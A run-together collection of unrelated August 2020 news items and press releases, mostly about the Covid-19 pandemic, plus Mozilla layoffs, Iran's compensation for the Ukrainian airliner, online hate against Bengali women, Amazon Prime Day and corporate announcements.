This new method was launched to ease the registration process for pregnant women, so they dont have to physically visit the centre to register, amid the Covid-19 pandemic. This service will save pregnant women time and effort of physically visiting the centre to register. To register, all what expecting mothers have to do is send an email with their contact details to DCRC on [email protected] A dedicated team from the centre will then send the expected mothers all the requested documents they must sent. If they were found to be eligible after meeting all the criteria, they will be able to continue the registration to preserve their cord blood stem cells for up to 30 years. After successfully registering, the centre will deliver the cord blood collection kit, so the expecting mother can take it with her when she goes to deliver in private hospitals. The medical team will then use it during delivery to collect the cord blood stem cells. If the expecting mother is delivering in a government hospital, the cord blood collection kits are available in Dubai and Latifa Hospitals. DCRC has sent many cord blood units to international centres and has treated 20 cases who were suffering from diseases like leukaemia, thalassemia, autoimmune diseases and more, using stem cells stored at the centre, The centre has stored more than 7,000 cord blood stem cells since its established in 2006. -- Tradearabia News Service In brief: The Mozilla Corporation on Tuesday announced a significant restructuring that executives believe is necessary in order to enhance their ability to develop products and services that give users an alternative to conventional Big Tech. Mozilla Corporation CEO Mitchell Baker said their pre-Covid plan for 2020 already included a great deal of change but thanks to the virus, that plan is no longer sustainable. Like many, Mozilla is feeling the economic impact brought about by the global pandemic and sees no other choice but to reduce the size of its workforce. Baker said around 250 employees will be laid off and operations in Taipei, Taiwan, will be closed. Another 60 employees or so will be moved to different teams, were told. Looking ahead, Baker said Mozilla will be smaller and able to act more quickly and nimbly. "Well experiment more. Well adjust more quickly. Well join with allies outside of our organization more often and more effectively. Well meet people where they are. Well become great at expressing and building our core values into products and programs that speak to todays issues." Mozilla's Firefox web browser is used on roughly eight percent of desktops worldwide according to data from StatCounter and Net Applications. Google's Chrome, by comparison, has a market share closer to 70 percent. Those being let go will get severance that is at least equivalent to their full base pay through December 31, 2020, and any performance bonuses they are owed, plus health care benefits through the end of the year. Impacted employees in the US and Canada will be notified today while those in other parts of the world will be told as local laws require. More details will be shared with employees during a company meeting on Thursday. Image credit: Sundry Photography, Tada Images European Insurers Must Pay For Downed Ukrainian Plane, Iran Official Says Radio Farda August 10, 2020 The Head of Iran's regulatory Central Insurance on Monday said the European companies that insured the Ukrainian plane downed by its Revolutionary Guard on January 8 must pay the compensation. In a press conference on Monday, Gholamreza Soleimani said the plane had not been insured by Iranian companies so the compensation must be paid by the companies that insured the flight. Foreign Ministry Spokesman Abbas Mousavi on July 31 said Iran agreed to pay compensation for the plane but added that the implementation of the payment will take time as there are technical and legal aspects that require to be resolved. Gholamali Jahangiri, the Deputy Head of the Central Insurance, in January had said that the damages were estimated at around $100 to $150 million including $24 million for the passengers, crew and cargo and $70 million for the plane itself. Jahangiri said this would be paid after Iran and Ukraine reached an agreement. On July 30 a delegation headed by Deputy Foreign Minister for International and Legal Affairs Mohsen Baharvand has arrived in Kiev for negotiations with Ukrainian authorities. Baharvand commented that the amount of the compensation had not been proposed by any of the parties yet and would be determined on the basis of international laws regarding such incidents. Iranian authorities have always claimed that the downing of the plane was "unintentional" and attributed it to "human error". Ukraine, however, has strongly objected to accepting "human error" as the real cause of the incident and demanded an impartial and independent criminal investigation to bring the guilty to justice. The aircraft was shot down hours after Iran fired missiles at Iraqi airbases housing U.S. forces in retaliation for the U.S. drone killing of a senior Iranian commander. All 176 onboard including 57 Canadians were killed in the crash. "Given the circumstance of what happened, there are all reasons to ask from Iran to pay the highest price for what it did," the Ukrainian Foreign Minister Dmytro Kuleba said on July 28 at a news conference during a visit to Warsaw. "I cannot disclose final numbers of the compensation...numbers will be the result of the consultations," he said. Source: https://en.radiofarda.com/a/european-insurers -must-pay-for-downed-ukrainian-plane-iran- official-says-/30776083.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address C oronavirus has broken out again in New Zealand after 102 days with no cases in the community. A retirement village went into lockdown after residents displayed symptoms of the virus and four positive Covid-19 tests were reported in one family from an unknown source. Prime Minister Jacinda Ardern said residents in Auckland should stay home to stop any further transmission. Auckland, the nation's largest city, will be moved to Level 3 from midday on Wednesday, meaning that people will be asked to stay at home and bars and many other businesses will be closed. The rest of the country will be raised to Level 2 at midday tomorrow until midnight on Friday. Schools will close, except for students whose parents are essential worker,s and public facilities including bars, restaurants and businesses will be asked to close from tomorrow. "We are asking people in Auckland to stay home to stop the spread. Act as if you have Covid, and as if the people around you have Covid," said Ms Ardern. New Zealand Prime Minister Jacinda Ardern, left, and Director-General of Health Ashley Bloomfield, right, attend a news conference in Wellington / AP The Prime Minister urged people not to panic buy in supermarkets. "Please do not rush to the supermarket tonight... there is no reason to rush out and make any purchases this evening," she said. "Supermarkets will be open, there will be ample stock on the shelves." An Auckland man in his 50s tested positive for coronavirus despite having no history of overseas travel or displaying any symptoms of the virus. Six other people in his family were tested, of which three tested positive for Covid-19. Ms Ardern was praised for her handling of the virus outbreak in May after eradicating the virus from the country's shores. New Zealand military to oversee quarantine facilities Speaking during a press briefing on Tuesday, Ms Ardern called on hthe country's citizens to remain "strong". "We have come too far to go backwards," she said. "Be strong and be kind. "We know what to do because we have successfully done this before." Auckland Mayor Phil Goff encouraged locals to come together to help stop further community transmission of the virus. "I understand that people are probably feeling a little bit scared, a little angry and a little confused right now," said Mayor Goff. "None of us wanted to go back into a lockdown, but we always knew this was a very real possibility. "I am urging Aucklanders to come together like we did last time to stamp out community transmission. Please remain calm, please do not panic buy and please follow the lockdown rules. "We beat community transmission once and we can do again, but that requires all of us to work as a team." Last month two women who flew from London to New Zealand to see a dying parent tested positive for the virus. The new cases sparked a round of testing in the country for anybody who might have been close to the women. Loading.... It also sparked significant criticism of the quarantine system in New Zealand and fears people had been released without adequate testing. Health minister David Clark resigned and the government was forced to ramp up security at facilities. 'We are in close contact with the Russian health authorities and discussions are ongoing with respect to possible WHO pre-qualification of the vaccine, the United Nations health agency's spokesman said The World Health Organization said any WHO stamp of approval on a COVID-19 vaccine candidate would require a rigorous safety data review, after Russia announced Tuesday it had approved a vaccine. President Vladimir Putin said Russia had become the first country to approve a vaccine offering "sustainable immunity" against the new coronavirus. "We are in close contact with the Russian health authorities and discussions are ongoing with respect to possible WHO pre-qualification of the vaccine," the United Nations health agency's spokesman Tarik Jasarevic told reporters in Geneva at an online press briefing. "Pre-qualification of any vaccine includes the rigorous review and assessment of all the required safety and efficacy data." Russia's Sputnik V vaccine has been developed by the Gamaleya research institute in coordination with the country's defence ministry. A total of 165 candidate vaccines are being worked on around the world, according to the latest WHO overview produced on July 31. Of those, 139 are still in pre-clinical evaluation, while the other 26 are in the various phases of being tested on humans, of which six are the furthest ahead, having reached Phase 3 of clinical evaluation. The Gamaleya candidate being produced in Russia, which is among the 26 being tested on humans, is listed as being in Phase 1. Kirill Dmitriev, the head of the Russian Direct Investment Fund which finances the vaccine project, said Phase 3 trials would start on Wednesday, industrial production was expected from September and that 20 countries had pre-ordered more than a billion doses. - 'Stamp of quality' - "Every country has national regulatory agencies that approve the use of vaccines or medicines on its territory," Jasarevic explained. "WHO has in place a process of pre-qualification for vaccines but also for medicines. Manufacturers ask to have the WHO pre-qualification because it is a sort of stamp of quality. "To get this, there is a review and assessment of all required safety and efficacy data that are gathered through the clinical trials. WHO will do this for any candidate vaccine." The pandemic has seen an unprecedented mobilisation of funding and research to rush through a vaccine that can protect billions of people worldwide. "We are encouraged by the speed by which several candidate vaccines have been developing and as we have been always saying, we hope some of these vaccines will prove to be safe and efficient," said Jasarevic. "Accelerating progress does not mean compromising on safety," he said. Search Keywords: Short link: The moment you start to put pressure on kids to start learning like four months worth of material is the moment that youre going to lose them, Neal said. I think one of the best ways you can start off as both a teacher and a parent is when you look at your student and you say, I dont know what this next year is going to look like. Im not sure what the best course of action is, but were going to figure it out together. Here are the goals we have, so that we can be ready when school comes. It is beyond difficult for some of my European and Australian and that lovely island near them called New Zealand to understand, comprehend and (far less so) accept how many Americans dont think the Federal Government or State Government should be telling them to wear a mask. So, for an example, Italy: ROME (AP) The United States failure to contain the spread of the coronavirus has been met with astonishment and alarm in Europe, as the worlds most powerful country edges closer to a global record of 5 million confirmed infections. Perhaps nowhere outside the U.S. is Americas bungled virus response viewed with more consternation than in Italy, which was ground zero of Europes epidemic. Italians were unprepared when the outbreak exploded in February and the country still has one of the worlds highest official death tolls at 35,000. But after a strict nationwide 10-week lockdown, vigilant tracing of new clusters and general acceptance of mask mandates and social distancing, Italy has become a model of virus containment. Dont they care about their health? a mask-clad Patrizia Antonini asked about people in the United States as she walked with friends along the banks of Lake Bracciano, north of Rome. They need to take our precautions ... They need a real lockdown. An attempt at an explanation. Inherent to the American worldview, you see, and to the American Dream, is something the good ol French in their Revolution gave to us through Thomas Paine, Thomas Jefferson, James Madison and our Constitution: namely, the combination of individual freedom and small government and its separation of powers. The Federal Government was designed to provide opportunity for the individual person to pursue his or her own livelihood. It was to keep its nose out of the individuals home and job and life. So, we have what is not so common in those other countries: libertarianism and the libertarian impulse. The libertarian thinks he or she can do what he or she wants. Cutting to the bone it looks like this: the Government is not to tell the (libertarian) person what to do, and if it does the person chooses to listen or not to listen. The Government is designed to protect the individual so he or she can do what he or she wants. (Within reason of course.) [Im calling this the libertarian impulse and Im not describing the Libertarian Party or any sophisticated statement of it. The impulse is the topic at hand.] So this person in the USA from the article linked above: Theres no reason to fear any sickness thats out there, said Julia Ferjo, a mother of three in Alpine, Texas, who says she is vehemently against wearing a mask. Ferjo, 35, teaches fitness classes in a large gym with open doors, where she doesnt allow participants to wear masks. When youre breathing that hard, I would pass out, she said. I do not want people just dropping like flies. Add into this libertarian impulse the reality that many dont trust science at all, which feeds their libertarianism. The implication of this condition is profound: Collectivity or group consciousness is just not natural for some Americans, especially the one of a more libertarian disposition and impulse. (The French, of course, have a strong collective sense.) Again from the same article: Dr. David Ho, director of the Aaron Diamond AIDS Research Center at Columbia University Irving Medical Center, who is leading a team seeking treatments for COVID-19, decried such behavior, as well as the countrys handling of the virus. Theres no national strategy, no national leadership and theres no urging for the public to act in unison and carry out the measures together, he said. Thats what it takes and we have completely abandoned that as a nation. Put differently, the impulse is what is good for me is good for others. This is diametrically resistant of the what is good for all of us is good for me. Im not saying this distinguishes and divides the GOP from the Dems but theres a solid group within the GOP that thinks like this and this explain why they think the Federal or State Government has no business telling us to wear a mask. What I am saying is that libertarianisms freedom-at-all-costs mentality and impulse during this pandemic is profoundly selfish and Christians ought to be the first in line to think of others first. Thats neither socialism nor social democracy, its love. Love for one another. Call it individual voluntarism for the good of others, then, but by any measure it is a collective sense. Those who designed the libertarian impulse in America were also the ones most insistent that it would require virtue. Something America lacks today. Something America needs today. If my friends in other countries want to read a book that puts this all into a tight bundle of consistent thinking, they could no better than to read George Will, The Conservative Sensibility. Actor Rhea Chakraborty, who is being investigated by the Central Bureau of Investigation in the Sushant Singh Rajput death case, moved the Supreme Court on Monday over unfair media trial, while far away in West Bengal there were strong reactions to thousands of hateful social media posts from various parts of the country against Bengali women in general. The posts started appearing around 10 days ago and many prominent women and citizens in Bengal are countering the trend. They have been joined by women leaders of the ruling Trinamool Congress (TMC) and the Bharatiya Janata Party (BJP). We condemn this. Whether Rhea Chakraborty had anything to do with the death is a subject of probe. How can all Bengali women be treated like this on social media, Mausam Benazir Noor, TMC Rajya Sabha member and vice-chairperson of the West Bengal Commission for Women, told HT. The Centre must take action to stop these posts, added Noor, who is also a lawyer. The Bengal unit of the BJP reacted sharply as well. When it comes to serving mankind people remember the name of Asias first woman doctor Kadambini Devi. People pay homage to legendary freedom fighters such as Matangini Hazra. We cannot forget revolutionary Leela Roy, Bengals only woman member in the Constituent Assembly. Let us stop this nonsense. Bengalis across genders have always been the best of the souls and minds, said Agnimitra Paul, president of the state BJP Mahila Morcha (womens front). Kolkata-based social activist Saswati Ghosh said attempts to shame all Bengali women can also be a sign of jealousy since they have earned laurels in every field. Rupa Chakraborty Khan, a resident of Uttarpara in Bengals Hooghly district, has lodged a police complaint against such posts and trolling. How can people indulge in such senseless generalisation. Bengali women are being called witches and gold diggers on Facebook and Twitter. I could not sit quiet, she said. One of the viral tweets that people in Bengal have reacted to was posted on July 31 by Barkha Trehan, who describes herself as Voice of Men and Hindu entrepreneur. STAY SAFE MEN / BOYS. Bengali girls are dominating, they know how to make guys fall for them. They catch big fish, good looking highly paid guys. If you want to be her servant and financer and are okay to leave your family and join her family then go ahead, wrote Trehan. Reacting to this, popular actress and TMC Lok Sabha member Nusrat Jahan tweeted, We Bengali Girls also run around cook n conquer the world. Stop disgracing a community for your Agendas. Im sure you dont know your Maach-Masala-Mishti (fish, spices and sweets) well. The hate tweets triggered reaction from cities across India. Though most people opposed the hatred, Rhea Chakraborty faced ire and public trial. Rishi Bagree, a BJP supporter with 1,84,000 followers, wrote, Its wrong to target Bengali Girls for something wrong done by #RheaChakroborty. I am from Bengal and supports @itsSSR. Want his case to be thoroughly investigated but targeting every Bengali girl just because Rhea is Bengali is utter madness, tweeted Shibangi Hazra who is part of the Justice for SSR (Sushant Singh Rajput) movement on social media. On August 7, Prity Kunwar, a Supreme Court lawyer, tweeted, Ppl may say whatever but since the last 51 days, I have seen as many Bengali girls in this campaign as any other. A dirty fish has maligned the entire pond. But dont let some cynics affect you. Krishna Prakash, whose Twitter identity includes the words nationalist Hindu, wrote, A woman is a woman..either it be Bengali, Bihari or Marathi..And dominating girls doesnt mean that they are criminals like #RheaChakroborty..Stop your regional dirty politics here..Respect the woman..Every woman is Durga either its Bengali or Marathi. Shiela Gangopadhyay, whose twitter name comes with the prefix Chowkidar made popular in 2019 by Prime Minister Narendra Modi, wrote, Bengali girls are Simple, honest, sincere, like any other girl from any corner of the world!.... Villagers at Kirnahar - the ancestral village of former President Pranab Mukherjee in West Bengal, started a Maha Mrityunjaya yajna on Tuesday while his condition remained critical at the army hospital in Delhi. The yajna, which started around 7:50 am, in a Shiva temple around 2 km from the former presidents ancestral house, would continue for the next two days and is being held for the speedy recovery of Mukherjee. He used to worship in this temple since his childhood. And every time he came to the village during the Durga puja, he used to worship here. His son Abhijit Mukhrejee requested us to organize the yajna, said Rabi Chattoraj, secretary of the temple committee, who shares a very close and cordial relation with the Mukherjee family. Every year during the Durga Puja, Mujherjee visits his ancestral house at Kirnahar in Birbhum district, around 170 km north of Kolkata and performs puja at his home. The last time he came to the village was during the 2019 Durga Puja. Also Read: Pranab Mukherjees health has worsened, still on ventilator, says hospital We started the yajna at 7:50 am on Tuesday and it continued non-stop till 2 pm. It would again start at 8:16 am on Wednesday. Dozens of villagers had come to attend the yajna, said Chattoraj. The puja was held by three priests and their two assistants. Several villagers also held pujas in their own houses and in temples across the village and prayed for Mukherjees speedy recovery. The former President who underwent a brain surgery and is on ventilator support also tested positive for the novel coronavirus. SHARE THIS ARTICLE ON WARNING: Aboriginal and Torres Strait Islander readers are warned that the following article contains an image and the name of a deceased person. Unsolved homicide detectives have charged a former abattoir worker with the murder of 17-year-old schoolgirl Michelle Bright, who vanished after a party in the tightly knit town of Gulgong near Mudgee more than two decades ago. A man was arrested at Mudgee last night and charged with the murder of Michelle Bright. Credit:NSW Police Michelle was last seen alive after being dropped off at the Commercial Hotel on the main street of Gulgong, following a birthday party on February 27, 1999. Her body was found three days later in long grass near the train tracks on Barneys Reef Road, less than a kilometre from her home. Among the new Amazon Prime members, more than 65% came from outside the top 10 cities in India. Amazon held its first Prime Day sale of the year in India last week on August 6 and 7. The biggest annual sale of Amazon came amid an ongoing pandemic which also led to a surge in online shopping. Prime Day 2020 turned out to be a major success for Amazon as it registered double the number of customers signing up for its Prime membership than last year. More than 65% of the new Amazon Prime memberships came from outside the top 10 cities in India. Some of these include Kullu in Himachal Pradesh, Leh in Ladakh, Mokokchung in Nagaland, Garo hills in Meghalaya and more. During the Prime Day sale, customers from over 97% pin codes across India shopped for products. Even prior to Prime Day, 14 days to be precise, over 1 million Prime members shopped on the platform, Amazon said. Among devices, the Fire TV Stick with Alexa voice remote was the best-seller on Prime Day. speaking of which, Prime members ordered 50x more products using Alexa on Echo devices as compared to any other day. Some of the best-selling smartphones during Prime Day were Samsung Galaxy M31s, Samsung Galaxy M31, Samsung Galaxy M21, Redmi Note 9, Redmi Note 9 Pro Series, Redmi 9 Prime, Redmi 8A Dual, Apple iPhone 11, OPPO A5 2020, and Honor 9A. Amazon also hosted small and medium businesses (SMBs) during Prime Day 2020. Over 91,000 SMBs took part in the Prime Day sale, and 31,000 of these witnessed their highest sales, Amazon said. Over 4,000 SMB sellers also registered sales crossing 10 lakh. Local shops from more than 100 cities also made their Prime Day debut this year. CENTER VALLEY, Pa., Aug. 11, 2020 /PRNewswire/ -- Aesculap, Inc. is pleased to announce its participation as a virtual exhibitor at the 2020 Society of American Gastrointestinal and Endoscopic Surgeons (SAGES) annual meeting. The virtual meeting will take place from August 11th through August 13th. As part of its participation, Aesculap, Inc. will sponsor an industry education event on August 12th from 3:00 to 4:30 p.m. The symposium, "Narcotic Reduction Strategies in Minimally Invasive Surgery," will be presented by Sachin Kukreja, MD and will focus on non-narcotic pain control strategies for minimally invasive surgical procedures. Dr. Kukreja is the founder of Minimally Invasive Surgical Associates and its subdivision, Texas Weight Loss Docs, in Dallas, Texas. He is board-certified in Obesity Medicine and fellowship-trained in Minimally Invasive and Bariatric Surgery. SAGES attendees whom are interested in attending the virtual symposium can register at https://cvent.me/E51NXo. Aesculap, Inc. will virtually exhibit its recently expanded bariatric-length laparoscopic instrument portfolio, with six additional 42 cm instruments. Although designed for bariatric surgery, the new instruments can also be used in any general laparoscopic procedure, as they allow increased maneuverability. The extended-shaft length instruments now come in the dolphin nose, duckbill, right-angle, DeBakey, Overholt and universal fenestrated grasper jaw patterns. Like the 31 cm counterparts, these instruments offer a four-piece modular design, for complete disassembly and optimal cleaning, providing the same quality and cost efficiency features as the rest of the portfolio. The new jaw inserts are fully compatible with the company's ergonomic monopolar handles, which maximize comfort and minimize hand fatigue. Learn about the complete bariatric instrument portfolio by visiting https://www.aesculapusa.com/en/healthcare-professionals/or-solutions/or-solutions-advanced-energy/a-complete-laparoscopic-portfolio.html. "With a successful history in the bariatric-length instrument market, we are excited to enhance the portfolio with the new extended-length instruments," said Charles DiNardo, President of Aesculap, Inc. "We strive to provide customers with high-quality products that offer dependability and versatility. The new 42 cm instrument line extension nicely compliments our current portfolio of more than 100 combined patterns of hand-held instruments." In addition to the bariatric-length laparoscopic instruments, Aesculap, Inc. will also virtually exhibit its Caiman Vessel Sealer portfolio. The Caiman Vessel Sealer can deliver uniform compression with a clean and consistent seal quality, independent of where the vessel is positioned in the jaws. When faced with challenging patient anatomy, the articulating shaft supports a perpendicular approach to vessels, resulting in up to 51% greater sealing strength compared to seals created at an angle*. Designed to maximize efficacy and ease-of-use, the Caiman Vessel Sealer is indicated to seal and cut vessels up to 7 mm in diameter in both laparoscopic and open procedures*. To learn more about the Caiman Vessel Sealer portfolio, visit https://www.aesculapusa.com/en/healthcare-professionals/or-solutions/or-solutions-advanced-energy.html. About Aesculap, Inc. Aesculap, Inc., a B. Braun company, is part of a global organization built on meeting the needs of the changing healthcare environment. Through close collaboration with its customers, Aesculap provides advanced technologies and services for general surgery, laparoscopy, neurosurgery and sterilization. Aesculap continues a proud heritage of leadership and responsiveness as we strive to deliver products and services that improve the quality of patients' lives. For more information, call 800-282-9000 or visit www.aesculapusa.com. *Data on file. SOURCE Aesculap, Inc. Related Links http://www.aesculapusa.com WALTHAM, Mass., Aug. 11, 2020 /PRNewswire/ -- Thermo Fisher Scientific Inc. (NYSE: TMO), the world leader in serving science, today provided an overview of the process to report the final results from the acceptance period of its offer to acquire all of the ordinary shares of QIAGEN N.V. (NYSE: QGEN; Frankfurt Prime Standard: QIA), which expired at 24:00 hours (Frankfurt am Main local time) / 18:00 hours (New York local time) on Monday, August 10, 2020. Due to German practice regarding the booking by custodian institutions of tenders submitted before the expiration of the offer acceptance period and the calculation and publication of final results, Deutsche Bank Aktiengesellschaft and American Stock Transfer & Trust Company, the settlement agents for the offer, expect to provide Thermo Fisher with a final determination of the number of shares tendered on Thursday, August 13, 2020. As soon as practicable after the determination is made, Thermo Fisher will publicly announce the final results and publish those results in the German Federal Gazette. J.P. Morgan Securities LLC and Morgan Stanley & Co. LLC are serving as financial advisors to Thermo Fisher, and Wachtell, Lipton, Rosen & Katz is serving as legal counsel. About Thermo Fisher Thermo Fisher Scientific Inc. (NYSE: TMO) is the world leader in serving science, with annual revenue exceeding $25 billion. Our Mission is to enable our customers to make the world healthier, cleaner and safer. Whether our customers are accelerating life sciences research, solving complex analytical challenges, improving patient diagnostics and therapies or increasing productivity in their laboratories, we are here to support them. Our global team of more than 75,000 colleagues delivers an unrivaled combination of innovative technologies, purchasing convenience and pharmaceutical services through our industry-leading brands, including Thermo Scientific, Applied Biosystems, Invitrogen, Fisher Scientific, Unity Lab Services and Patheon. For more information, please visit www.thermofisher.com. Forward-Looking Statements This communication contains forward-looking statements that involve a number of risks and uncertainties. Words such as "believes," "anticipates," "plans," "expects," "seeks," "estimates," and similar expressions are intended to identify forward-looking statements, but other statements that are not historical facts may also be deemed to be forward-looking statements. Important factors that could cause actual results to differ materially from those indicated by forward-looking statements include risks and uncertainties relating to: the duration and severity of the COVID-19 pandemic; the need to develop new products and adapt to significant technological change; implementation of strategies for improving growth; general economic conditions and related uncertainties; dependence on customers' capital spending policies and government funding policies; the effect of economic and political conditions and exchange rate fluctuations on international operations; use and protection of intellectual property; the effect of changes in governmental regulations; and the effect of laws and regulations governing government contracts, as well as the possibility that expected benefits related to recent or pending acquisitions, including the proposed transaction, may not materialize as expected; the proposed transaction not being timely completed, if completed at all; regulatory approvals required for the transaction not being timely obtained, if obtained at all, or being obtained subject to conditions; prior to the completion of the transaction, QIAGEN's business experiencing disruptions due to transaction-related uncertainty or other factors making it more difficult to maintain relationships with employees, customers, licensees, other business partners or governmental entities; difficulty retaining key employees; the outcome of any legal proceedings related to the proposed transaction; and the parties being unable to successfully implement integration strategies or to achieve expected synergies and operating efficiencies within the expected time-frames or at all. Additional important factors that could cause actual results to differ materially from those indicated by such forward-looking statements are set forth in Thermo Fisher's Annual Report on Form 10-K for the year ended December 31, 2019 and Quarterly Reports on Form 10-Q for the quarters ended March 28, 2020 and June 27, 2020, which are on file with the U.S. Securities and Exchange Commission ("SEC") and available in the "Investors" section of Thermo Fisher's website, ir.thermofisher.com, under the heading "SEC Filings," and in any subsequent Quarterly Reports on Form 10-Q and other documents Thermo Fisher files with the SEC, and in QIAGEN's Annual Report on Form 20-F for the year ended December 31, 2019, which is on file with the SEC and available in the "Investor Relations" section of QIAGEN's website, corporate.qiagen.com/investor-relations, under the heading "Financial Reports," and in any subsequent Quarterly Reports on Form 6-K and other documents QIAGEN files or furnishes with the SEC. While Thermo Fisher or QIAGEN may elect to update forward-looking statements at some point in the future, Thermo Fisher and QIAGEN specifically disclaim any obligation to do so, even if estimates change and, therefore, you should not rely on these forward-looking statements as representing either Thermo Fisher's or QIAGEN's views as of any date subsequent to today. Additional Information and Where to Find It This communication is for informational purposes only and is neither an offer to purchase nor a solicitation of an offer to sell any ordinary shares of QIAGEN or any other securities, nor is it a substitute for the tender offer materials that Thermo Fisher and/or its acquisition subsidiary has filed with the SEC and published in Germany. The terms and conditions of the tender offer are published in, and the offer to purchase ordinary shares of QIAGEN is made only pursuant to, the offer document, the publication of which was permitted by German Federal Financial Supervisory Authority (Bundesanstalt fur Finanzdienstleistungsaufsicht), and related offer materials prepared by Thermo Fisher and/or its acquisition subsidiary. The offer document for the tender offer (in German and in English), as amended, containing the detailed terms and conditions of, and other information relating to, the tender offer is, among other things, published on the internet at https://corporate.thermofisher.com/en/offer.html. Acceptance of the tender offer by shareholders that are resident outside of the member states of the European Union and the European Economic Area and the United States may be subject to further legal requirements. With respect to the acceptance of the tender offer outside of the member states of the European Union and the European Economic Area and the United States, no responsibility is assumed for the compliance with such legal requirements applicable in the respective jurisdiction. THE TENDER OFFER MATERIALS (INCLUDING THE OFFER DOCUMENT, A RELATED LETTER OF TRANSMITTAL AND CERTAIN OTHER TENDER OFFER DOCUMENTS) AND QIAGEN'S SOLICITATION/RECOMMENDATION STATEMENT ON SCHEDULE 14D-9, AS WELL AS QIAGEN'S RECOMMENDATION STATEMENT PURSUANT TO SEC. 27 OF THE GERMAN SECURITIES ACQUISITION AND TAKEOVER ACT (WERTPAPIERERWERBS- UND UBERNAHMEGESETZ-WPUG) AND POSITION STATEMENT (GEMOTIVEERDE STANDPUNTBEPALING) PURSUANT TO SECTION 18 AND APPENDIX G OF THE DUTCH DECREE ON PUBLIC TAKEOVERS (BESLUIT OPENBARE BIEDINGEN), AS THEY MAY BE AMENDED FROM TIME TO TIME, CONTAIN IMPORTANT INFORMATION. INVESTORS AND SHAREHOLDERS OF QIAGEN ARE URGED TO READ THESE DOCUMENTS CAREFULLY BECAUSE THEY, AND NOT THIS DOCUMENT, WILL GOVERN THE TERMS AND CONDITIONS OF THE TENDER OFFER, AND BECAUSE THEY CONTAIN IMPORTANT INFORMATION THAT SUCH PERSONS SHOULD CONSIDER BEFORE MAKING ANY DECISION REGARDING TENDERING THEIR ORDINARY SHARES. The tender offer materials, including the offer document and the related letter of transmittal and certain other tender offer documents, and the solicitation/recommendation statement and other documents filed with the SEC by Thermo Fisher or QIAGEN, may be obtained free of charge at the SEC's website at www.sec.gov or at QIAGEN's website at www.qiagen.com or by contacting QIAGEN's investor relations department at 240-686-2222 or at Thermo Fisher's website at www.thermofisher.com or by contacting Thermo Fisher's investor relations department at 781-622-1111. In addition, Thermo Fisher's tender offer statement and other documents it files with the SEC are available at https://ir.thermofisher.com/investors. Furthermore, copies of the offer document are also available free of charge by contacting D.F. King & Co., Inc., Thermo Fisher's information agent for the tender offer. SOURCE Thermo Fisher Scientific Related Links http://www.thermofisher.com 3 1 of 3 Larry Busacca Show More Show Less 2 of 3 Neilson Barnard/Getty Images Show More Show Less 3 of 3 Broadway sensation Christopher Jackson is set to host an online relief concert and not only can you watch the show from home, but tickets benefit a group of nonprofits including Houstons Theatre Under The Stars (TUTS). Jackson is a Grammy and Emmy Award-winning songwriter/composer and a Tony Award-nominated actor best known for his role playing George Washington in Broadways "Hamilton." US President Donald Trump on Monday blamed China for his administrations failure to curb the spread of COVID-19 across the US, once again calling the disease the China virus, with experts and members of the public accusing him of inciting xenophobic crimes across the country. U.S. President Donald Trump (Xinhua/Liu Jie) During a White House press conference on Monday, Trump urged Americans to stop politicizing the virus, but moments later blamed China for the deteriorating pandemic situation in the US, adding, The virus came from China, its Chinas fault. "We must stop politicizing the virus and instead be united in our condemnation of how this virus came to America, how this virus came to the world," Trump said. This is not the first time that Trump has used such a radically charged term to deflect from his own failures in responding to the pandemic by blaming China. On August 8, Trump put up a post on his Twitter account, in which he called COVID-19 the China Virus. The comment quickly drew a public backlash, with netizens around the globe creating the hashtag TrumpsCovidCoverup and launching an online campaign calling for the president to stop using such racist and groundless terms. Trump calls it the China virus, I call it the Trump virus. China had nothing to do with what Trump did to American people, said Maggie Schafer, a Twitter user. The Trump administrations smearing of China has not changed the fact that the US has the worst COVID-19 outbreak in the world, with the highest numbers of confirmed fatalities and reported cases. According to Johns Hopkins University, there were over 5 million reported COVID-19 cases and more than 163,000 confirmed deaths from the virus in the US as of Monday, making the presidents groundless accusation even more feeble and absurd. As a public figure, Trumps irresponsible remarks have exacerbated the already rising xenophobic behavior in the US. According to Chinese advocacy groups, between March and June, 2,100 hate crimes against Asian Americans related to COVID-19 were committed, 10 percent of which were physical. According to a China Daily report, an 89-year-old Chinese American woman in Brooklyn, New York, was slapped in the face and then set on fire by two men. Even Asian American celebrities, including actress Min-Na Wen and model Kelly Hu have told the public about hate crimes targeting their family members and friends. What is the China Virus, is COVID too difficult for Trump? And to be fair, why dont we rename it for Trump who wants to spread it everywhere in America?" said Pam Szitas, a Twitter user. Further international travel restrictions are under consideration as the government tries to get to grips with rising Covid-19 rates. More than 240 new cases of the virus were confirmed over the weekend, with Saturday's figure of 174 the highest single-day recorded since mid-May. A further 68 new cases were confirmed this evening, meaning there has now been a total of 26,712 cases confirmed. No deaths were announced on Sunday, with 1,772 people having lost their lives in a Covid-19 related death since the outbreak began in February. More than two-thirds of the cases announced over the weekend were in Kildare, Offaly and Laois, the three counties subject to a local lockdown since Friday, including 129 in Kildare alone. Despite the surge in cases, HSE chief Paul Reid insists the country is not in the midst of a second wave. If you stand back and take a look at our incidence rates across the country and take out the impact of the three counties, at the moment, it wouldnt indicate we are at a second surge, Mr Reid said. But, he pleaded for caution as "it can rise very quickly", adding the cases numbers are "a significant concern". Read More Meat plant to remain closed as dozens of workers test positive Health minister Stephen Donnelly said the Government is considering further options. Writing on Twitter, the minister said, "Many are asking about travel/tourists coming into Ireland from countries with high Covid rates. My Dept is preparing options for Gov (sic) on how to restrict non-essential travel from third countries (outside EU/UK) with high rates of Covid. Many are asking about travel/tourists coming into Ireland from countries with high Covid rates. My Dept is preparing options for Gov on how to restrict non-essential travel from third countries (outside EU/UK) with high rates of Covid. Am concerned about high rates in some places Stephen Donnelly (@DonnellyStephen) August 9, 2020 "These options will be finalised as soon as possible. While travel-related cases here remain small, some countries are seeing a rapid rise in cases so the risk is increasing. Dr Ronan Glynn, acting Chief Medical Officer, said, We continue to see cases linked to the outbreaks in counties where additional public health measures have been introduced. "This was expected and we will continue to monitor closely." He urged people to remain vigilant and to adhere to new rules around wearing face coverings in retail and indoor settings. "[It] is just one more way in which people can demonstrate their solidarity with one another as we seek to suppress the spread of Covid-19," he said. A little more than half of U.S. elementary and high school students will attend school only virtually this fall, according to a new study, as education officials struggle with an unprecedented and wrenching decision amid the coronavirus pandemic. The study by Burbio, which aggregates school and community calendars nationwide, found that 52% of students will go to school virtually only and just 25% will attend every day. The remaining 19% will have some form of hybrid schooling, combining online and in-person learning. Four percent 